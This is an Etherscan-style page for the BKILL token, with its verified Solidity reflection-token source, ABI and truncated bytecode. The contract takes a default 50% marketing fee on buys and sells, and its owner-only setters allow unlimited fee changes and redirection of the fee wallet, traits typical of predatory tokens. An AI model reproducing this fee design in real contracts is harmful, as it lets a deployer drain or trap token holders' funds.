ETH Price: $3,483.02 (+6.35%)
Gas: 7 Gwei

Token

BASEwillNEVERtopETH (BKILL)
 

Overview

Max Total Supply

10,000,000 BKILL

Holders

123

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.268512083339008366 BKILL

Value
$0.00
0x09ee833daa0c5727000c6e87919b5965656488b6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BKILL

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-30
*/

/**
 *Submitted for verification at Etherscan.io on 2023-07-30
*/

// t.me/BASEwillNEVERtopETH
// twitter.com/BASEwillNEVERtopETH.com
// BASEwillNEVERtopETH.com

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.16;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
     function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address internal _owner;
    address private _previousOwner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory  {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IuniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IuniswapV2Router01 {
}

contract BKILL is Context, IERC20, Ownable {

    using SafeMath for uint256;
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private _isExcluded;
    mapping(address => bool) private _isExcludedFromMaxWallet;

    address[] private _excluded;
    address public _marketingWalletAddress;
    address constant _burnAddress = 0x000000000000000000000000000000000000dEaD;
    uint256 private constant MAX = ~uint256(0);
    uint256 private _tTotal;
    uint256 private _rTotal;
    uint256 private _tFeeTotal;
    string private _name;
    string private _symbol;
    uint256 private _decimals;

    uint256 private _buyTaxFee = 0;
    uint256 private _buyMarketingFee = 5000;
    uint256 private _buyBurnFee = 0;

    uint256 private _sellTaxFee = 0;
    uint256 private _sellMarketingFee = 5000;
    uint256 private _sellBurnFee = 0;

    uint256 public _taxFee = _buyTaxFee;
    uint256 public _marketingFee = _buyMarketingFee;
    uint256 public _burnFee = _buyBurnFee;

    uint256 private _previousTaxFee = _taxFee;
    uint256 private _previousMarketingFee = _marketingFee;
    uint256 private _previousBurnFee = _burnFee;

    IUniswapV2Router02  public uniswapV2Router ;
    address public uniswapV2Pair;
    uint256 public maxWalletBalance;
    bool public tradingEnabled = true;

    constructor() {
        _name = "BASEwillNEVERtopETH"; //  
        _symbol = "BKILL"; // 
        _decimals = 18; // 
        _tTotal = 10000000 * 10**_decimals; //  
        maxWalletBalance = 10000000  * 10**_decimals; //   
        _rTotal = (MAX - (MAX % _tTotal));
        _marketingWalletAddress =  0x8E508CaEA185AdA4AE4F8F6bb5ddefDC71Ee5f81;  // 
        _rOwned[_msgSender()] = _rTotal;

        IUniswapV2Router02  _uniswapV2Router = IUniswapV2Router02 (
             0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Pair  = IUniswapV2Factory (_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router  = _uniswapV2Router;
        _owner = _msgSender();

        _isExcludedFromFee[_msgSender()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_marketingWalletAddress] = true;

        _isExcludedFromMaxWallet[owner()] = true;
        _isExcludedFromMaxWallet[address(this)] = true;
        _isExcludedFromMaxWallet[_burnAddress] = true;
        _isExcludedFromMaxWallet[_marketingWalletAddress]= true;

        _isExcluded[_burnAddress] = true;
        _isExcluded[uniswapV2Pair ] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint256) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }

    function totalFees() public view returns (uint256) {
        return _tFeeTotal;
    }

    function deliver(uint256 tAmount) public {
        address sender = _msgSender();
        require(
            !_isExcluded[sender],
            "Excluded addresses cannot call this function"
        );
        (uint256 rAmount, , , , , , ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rTotal = _rTotal.sub(rAmount);
        _tFeeTotal = _tFeeTotal.add(tAmount);
    }

    function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
        public
        view
        returns (uint256)
    {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferFee) {
            (uint256 rAmount, , , , , , ) = _getValues(tAmount);
            return rAmount;
        } else {
            (, uint256 rTransferAmount, , , , , ) = _getValues(tAmount);
            return rTransferAmount;
        }
    }

    function tokenFromReflection(uint256 rAmount)
        public
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function excludeFromReward(address account) public onlyOwner {
        require(!_isExcluded[account], "Account is already excluded");
        if (_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _isExcluded[account] = true;
        _excluded.push(account);
    }

    function includeInReward(address account) external onlyOwner {
        require(_isExcluded[account], "Account is already included");
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
                break;
            }
        }
    }

    function _transferBothExcluded(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tBurn,
            uint256 tMarket
        ) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeBurn(tBurn);
        _takeMarketing(tMarket);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }

     function enableTrading() external onlyOwner {
        tradingEnabled = true;
    }

    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }

    function includeAndExcludedFromMaxWallet(address account, bool value) public onlyOwner {
            _isExcludedFromMaxWallet[account] = value;
    }

    function isExcludedFromMaxWallet(address account) public view returns(bool){
            return _isExcludedFromMaxWallet[account];
    }

    function setSellFeePercent(
        uint256 tFee,
        uint256 mFee,
        uint256 cFee
    ) external onlyOwner {
        _sellTaxFee = tFee;
        _taxFee = _sellTaxFee;
        _sellMarketingFee = mFee;
        _marketingFee = _sellMarketingFee;
        _sellBurnFee = cFee;
        _burnFee = _sellBurnFee;
    }

    function setBuyFeePercent(
        uint256 tFee,
        uint256 mFee,
        uint256 cFee
    ) external onlyOwner {
        _buyTaxFee = tFee;
        _taxFee = _buyTaxFee;
        _buyMarketingFee = mFee;
        _marketingFee = _buyMarketingFee;
        _buyBurnFee = cFee;
        _burnFee = _buyBurnFee;
    }

    function setMarketingWalletAddress(address _addr) external onlyOwner {
        _marketingWalletAddress = _addr;
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tBurn,
            uint256 tMarket
        ) = _getTValues(tAmount);
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
            tAmount,
            tFee,
            tBurn,
            tMarket,
            _getRate()
        );
        return (
            rAmount,
            rTransferAmount,
            rFee,
            tTransferAmount,
            tFee,
            tBurn,
            tMarket
        );
    }

    function _getTValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = calculateTaxFee(tAmount);
        uint256 tBurn = calculateBurn(tAmount);
        uint256 tMarket = calculateMarketingFee(tAmount);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn).sub(
            tMarket
        );
        return (tTransferAmount, tFee, tBurn, tMarket);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tBurn,
        uint256 tMarket,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rBurn = tBurn.mul(currentRate);
        uint256 rMarket= tMarket.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn).sub(
            rMarket
        );
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (
                _rOwned[_excluded[i]] > rSupply ||
                _tOwned[_excluded[i]] > tSupply
            ) return (_rTotal, _tTotal);
            rSupply = rSupply.sub(_rOwned[_excluded[i]]);
            tSupply = tSupply.sub(_tOwned[_excluded[i]]);
        }
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _takeBurn(uint256 tBurn)
        private
    {
         uint256 currentRate = _getRate();
        uint256 rBurn = tBurn.mul(
            currentRate
        );
        _rOwned[_burnAddress] = _rOwned[_burnAddress].add(
            rBurn
        );
        if (_isExcluded[_burnAddress])
            _tOwned[_burnAddress] = _tOwned[_burnAddress].add(
                tBurn
            );
    }

    function _takeMarketing(uint256 tMarket) private {
        uint256 currentRate = _getRate();
        uint256 rMarket = tMarket.mul(currentRate);
        _rOwned[_marketingWalletAddress] = _rOwned[_marketingWalletAddress].add(
            rMarket
        );
        if (_isExcluded[_marketingWalletAddress])
            _tOwned[_marketingWalletAddress] = _tOwned[_marketingWalletAddress].add(
                tMarket
            );
    }

    function calculateTaxFee(uint256 _amount) private view returns (uint256) {
        return _amount.mul(_taxFee).div(10**4);
    }

    function calculateMarketingFee(uint256 _amount)
        private
        view
        returns (uint256)
    {
        return _amount.mul(_marketingFee).div(10**4);
    }

    function calculateBurn(uint256 _amount)
        private
        view
        returns (uint256)
    {
        return _amount.mul(_burnFee).div(10**4);
    }

    function removeAllFee() private {
        _previousTaxFee = _taxFee;
        _previousMarketingFee = _marketingFee;
        _previousBurnFee = _burnFee;

        _taxFee = 0;
        _marketingFee = 0;
        _burnFee = 0;
    }

    function restoreAllFee() private {
        _taxFee = _previousTaxFee;
        _marketingFee = _previousMarketingFee;
        _burnFee = _previousBurnFee;
    }

    function isExcludedFromFee(address account) public view returns (bool) {
        return _isExcludedFromFee[account];
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (from != owner() && !tradingEnabled) {
            require(tradingEnabled, "Trading is not enabled yet");
        }

         if (
                from != owner() &&
                to != address(this) &&
                to != _burnAddress &&
                to != uniswapV2Pair
            ) {
                uint256 currentBalance = balanceOf(to);
                require(
                    _isExcludedFromMaxWallet[to] ||
                        (currentBalance + amount <= maxWalletBalance),
                    "ERC20: Reached Max wallet holding"
                );
            }
        
        bool takeFee = true;
        if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
            takeFee = false;
        } else {
            if (from == uniswapV2Pair ) {
                _taxFee = _buyTaxFee;
                _marketingFee = _buyMarketingFee;
                _burnFee = _buyBurnFee;
            } else if (to == uniswapV2Pair ) {
                _taxFee = _sellTaxFee;
                _marketingFee = _sellMarketingFee;
                _burnFee = _sellBurnFee;
            } else {
                _taxFee = 0;
                _marketingFee = 0;
                _burnFee = 0;
            }
        }
       
        _tokenTransfer(from, to, amount, takeFee);

    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();

        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferFromExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
            _transferToExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferStandard(sender, recipient, amount);
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
            _transferBothExcluded(sender, recipient, amount);
        } else {
            _transferStandard(sender, recipient, amount);
        }

        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tBurn,
            uint256 tMarket
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeBurn(tBurn);
        _takeMarketing(tMarket);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferToExcluded(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tBurn,
            uint256 tMarket
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeBurn(tBurn);
        _takeMarketing(tMarket);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferFromExcluded(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tBurn,
            uint256 tMarket
        ) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeBurn(tBurn);
        _takeMarketing(tMarket);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_burnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingWalletAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"deliver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"includeAndExcludedFromMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tFee","type":"uint256"},{"internalType":"uint256","name":"mFee","type":"uint256"},{"internalType":"uint256","name":"cFee","type":"uint256"}],"name":"setBuyFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"setMarketingWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tFee","type":"uint256"},{"internalType":"uint256","name":"mFee","type":"uint256"},{"internalType":"uint256","name":"cFee","type":"uint256"}],"name":"setSellFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040526000601055611388601155600060125560006013556113886014556000601555601054601655601154601755601254601855601654601955601754601a55601854601b556001601f60006101000a81548160ff0219169083151502179055503480156200007057600080fd5b50620000816200095e60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36040518060400160405280601381526020017f4241534577696c6c4e45564552746f7045544800000000000000000000000000815250600d908162000181919062000c09565b506040518060400160405280600581526020017f424b494c4c000000000000000000000000000000000000000000000000000000815250600e9081620001c8919062000c09565b506012600f81905550600f54600a620001e2919062000e73565b62989680620001f2919062000ec4565b600a81905550600f54600a62000209919062000e73565b6298968062000219919062000ec4565b601e81905550600a5460001962000231919062000f54565b60001962000240919062000f8c565b600b81905550738e508caea185ada4ae4f8f6bb5ddefdc71ee5f81600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b5460026000620002b26200095e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000355573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200037b919062001031565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000409919062001031565b6040518363ffffffff1660e01b81526004016200042892919062001074565b6020604051808303816000875af115801562000448573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200046e919062001031565b601d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004ff6200095e60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160056000620005546200095e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760006200068d6200096660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016007600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016006600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620008ee6200095e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a546040516200094f9190620010b2565b60405180910390a350620010cf565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a1157607f821691505b60208210810362000a275762000a26620009c9565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000a917ff